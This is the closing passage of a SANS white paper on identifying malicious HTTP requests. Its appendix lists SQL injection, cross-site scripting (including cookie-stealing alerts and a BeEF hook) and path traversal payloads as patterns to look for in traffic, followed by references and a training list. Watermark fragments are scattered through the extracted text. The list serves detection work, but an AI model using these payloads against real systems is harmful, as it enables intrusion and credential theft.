The attack vectors described in this paper covers only some basic approaches. It
would be impossible to revise all different attack patterns that can be used against web

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests

applications. It should be noted that even though some attack that is described in this
paper does not work in some other application does not mean that the application is not
vulnerable.

s.
t
13 Appendix

igh
Here are described some other common attack patterns that are used in injection attacks,

lr
which can be used to identify if the application is being targeted by malicious user.

ul
f
SQL Injection

ns
1 OR 1=1

ai
’ OR 1=1 --
” OR 1=1 --’

et
OR 1=1;
1 AND 1=1

rr
x’ OR ’1’=’1
‘ OR 1 in (@@version)--
ho
‘ UNION (select @@version) --
1 OR sleep(___TIME___)#
t
’ OR sleep(___TIME___)#
Au

” OR sleep(___TIME___)#
1 or benchmark(10000000,MD5(1))#
e,

’ or benchmark(10000000,MD5(1))#
” or benchmark(10000000,MD5(1))#
ut

;waitfor delay '0:0:__TIME__'--

t

);waitfor delay '0:0:__TIME__'--

i
t

';waitfor delay '0:0:__TIME__'--

ns

";waitfor delay '0:0:__TIME__'--

OR 1=1 ORDER BY table_name DESC
I

x’; UPDATE table SET value WHERE user=’x

NS

1’; INSERT INTO table VALUES(‘value’,‘value’);--

101 AND (SELECT ASCII(SUBSTR(name,1,1)) FROM table WHERE foo=n)$ --
’ union select null,LOAD_FILE(’../../../../../etc/passwd’),null,null,null --
SA

Cross-Site Scripting
12

”><script>alert(document.cookie)</script>
aaaa”><script>alert(1)</script>
20

<script>prompt(’1’)</script>
‘><script>alert(document.cookie)</script>
<script>alert(‘xss’);</script>
©

<scr<script>ipt>alert(xss)</scr</script>ipt>
<script><script>alert(1)</script>
<script language=”javascript”>window.location.href = ”beeftrap.html” ; </script>
<script src=”http://beefhook.js”></script>
<ScRiPt>alert(1)</ScRiPt>
%00<script>alert(1)</script>
<img onerror=alert(1) src=a>

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests
25

Path Traversal
etc/passwd
/etc/passwd%00
../etc/passwd

s.
../../etc/passwd

t
../../../etc/passwd
../../../../etc/passwd

gh
../../../../boot/grub/grub.conf

i
../../../../../var/log

lr
../../../../../etc/apache2/httpd.conf

ul
..\..\..\../c/boot.ini
..\../..\../boot.ini

f
../../../../../../etc/shadow&=%3C%3C%3C%3C%3C

ns
..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd

ai
..%5c..%5c..%5c..%5c..%5c..%5cc/boot.ini

et
/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

rr
ho
t
Au
e,
t
iut
t
ns
I
NS
SA
12
20

14 References
©

BeEF Project. (2012) What is BeEF? Retrieved from: http://beefproject.com/

Deuble, A. (2012) Detecting and Preventing Web Application Attacks with Security
Onion. Retrieved from:
http://www.sans.org/reading_room/whitepapers/detection/configuring-security-onion-
detect-prevent-web-application-attacks_33980

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 How to identify malicious HTTP Requests

Fielding, R., Gettys, J., Mogul, J., Frystyk, H., Masinter, L., Leach, P. & Berners-Lee, T.
(1999) RFC 2616. Hypertext Transfer Protocol -- HTTP/1.1. Retrieved from:
http://tools.ietf.org/html/rfc2616

Gourley, D., Totty, B., Sayer, M., Reddy, S. & Aggarwal, A. (2002) HTTP The Definitive

s.
Guide. O’Reilly. California.

t
gh
Museong, K. (2011) Penetration Testing Of A Web Application Using Dangerous HTTP
Methods. Retrieved from:

i
http://www.sans.org/reading_room/whitepapers/testing/penetration-testing-web-

lr
application-dangerous-http-methods_33945

ul
Stuttard, D. & Pinto, M. (2011) The Web Application Hacker’s Handbook. Finding and

f
Exploiting Security Flaws. Second Edition. Wiley. Indianapolis.

ns
SANS Institute. (2010) Web App Penetration Testing and Ethical Hacking Courseware.

ai
et
TCPDUMP manual. (2009) Retrieved from: http://www.tcpdump.org/tcpdump_man.html

rr
The OWASP Foundation. (2009) Double Encoding. Retrieved from:
https://www.owasp.org/index.php/Double_Encoding
ho
The OWASP Foundation. (2010) OWASP Top Ten Project.
t
Retrieved from: https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
Au
e,
t
iut
t
ns
I
NS
SA
12
20
©

Niklas Särökaari, niklas@silverskin.fi

©2012TheSANSI
nst
it
ute Keyf
i
nger
prnt=AF19FA272F94998DFDB5DE3DF8B506E4A1694E46 Aut
i horr
etai
nsf
ull
right
s.
 Last Updated: July 1st, 2019

Upcoming SANS Training

Click here to view a list of all SANS Courses

SANS Pittsburgh 2019 Pittsburgh, PAUS Jul 08, 2019 - Jul 13, 2019 Live Event

SANS Charlotte 2019 Charlotte, NCUS Jul 08, 2019 - Jul 13, 2019 Live Event

SANS London July 2019 London, GB Jul 08, 2019 - Jul 13, 2019 Live Event

SEC450 Security Ops-Analysis Beta 1 Crystal City, VAUS Jul 08, 2019 - Jul 13, 2019 Live Event

SANS Columbia 2019 Columbia, MDUS Jul 15, 2019 - Jul 20, 2019 Live Event

SANS Rocky Mountain 2019 Denver, COUS Jul 15, 2019 - Jul 20, 2019 Live Event

SANS Pen Test Hackfest Europe 2019 Berlin, DE Jul 22, 2019 - Jul 28, 2019 Live Event

SANS San Francisco Summer 2019 San Francisco, CAUS Jul 22, 2019 - Jul 27, 2019 Live Event

DFIR Summit & Training 2019 Austin, TXUS Jul 25, 2019 - Aug 01, 2019 Live Event

SANS Riyadh July 2019 Riyadh, SA Jul 28, 2019 - Aug 01, 2019 Live Event

SANS July Malaysia 2019 Kuala Lumpur, MY Jul 29, 2019 - Aug 03, 2019 Live Event

SANS Boston Summer 2019 Boston, MAUS Jul 29, 2019 - Aug 03, 2019 Live Event

SANS Crystal City 2019 Arlington, VAUS Aug 05, 2019 - Aug 10, 2019 Live Event

SANS London August 2019 London, GB Aug 05, 2019 - Aug 10, 2019 Live Event

Security Awareness Summit & Training 2019 San Diego, CAUS Aug 05, 2019 - Aug 14, 2019 Live Event

SANS Melbourne 2019 Melbourne, AU Aug 05, 2019 - Aug 10, 2019 Live Event

Supply Chain Cybersecurity Summit & Training 2019 Arlington, VAUS Aug 12, 2019 - Aug 19, 2019 Live Event

SANS San Jose 2019 San Jose, CAUS Aug 12, 2019 - Aug 17, 2019 Live Event

SANS Minneapolis 2019 Minneapolis, MNUS Aug 12, 2019 - Aug 17, 2019 Live Event

SANS Prague August 2019 Prague, CZ Aug 12, 2019 - Aug 17, 2019 Live Event

SANS Amsterdam August 2019 Amsterdam, NL Aug 19, 2019 - Aug 24, 2019 Live Event

SANS Virginia Beach 2019 Virginia Beach, VAUS Aug 19, 2019 - Aug 30, 2019 Live Event

SANS Chicago 2019 Chicago, ILUS Aug 19, 2019 - Aug 24, 2019 Live Event

SANS MGT516 Beta Three 2019 Arlington, VAUS Aug 19, 2019 - Aug 23, 2019 Live Event

SANS Tampa-Clearwater 2019 Clearwater, FLUS Aug 25, 2019 - Aug 30, 2019 Live Event

SANS New York City 2019 New York, NYUS Aug 25, 2019 - Aug 30, 2019 Live Event

SANS Copenhagen August 2019 Copenhagen, DK Aug 26, 2019 - Aug 31, 2019 Live Event

SANS Hyderabad 2019 Hyderabad, IN Aug 26, 2019 - Aug 31, 2019 Live Event

SANS Brussels September 2019 Brussels, BE Sep 02, 2019 - Sep 07, 2019 Live Event

SANS Munich September 2019 Munich, DE Sep 02, 2019 - Sep 07, 2019 Live Event

SANS Canberra Spring 2019 Canberra, AU Sep 02, 2019 - Sep 21, 2019 Live Event

SANS Philippines 2019 Manila, PH Sep 02, 2019 - Sep 07, 2019 Live Event

SANS Cyber Defence Singapore 2019 OnlineSG Jul 08, 2019 - Jul 20, 2019 Live Event

SANS OnDemand Books & MP3s OnlyUS Anytime Self Paced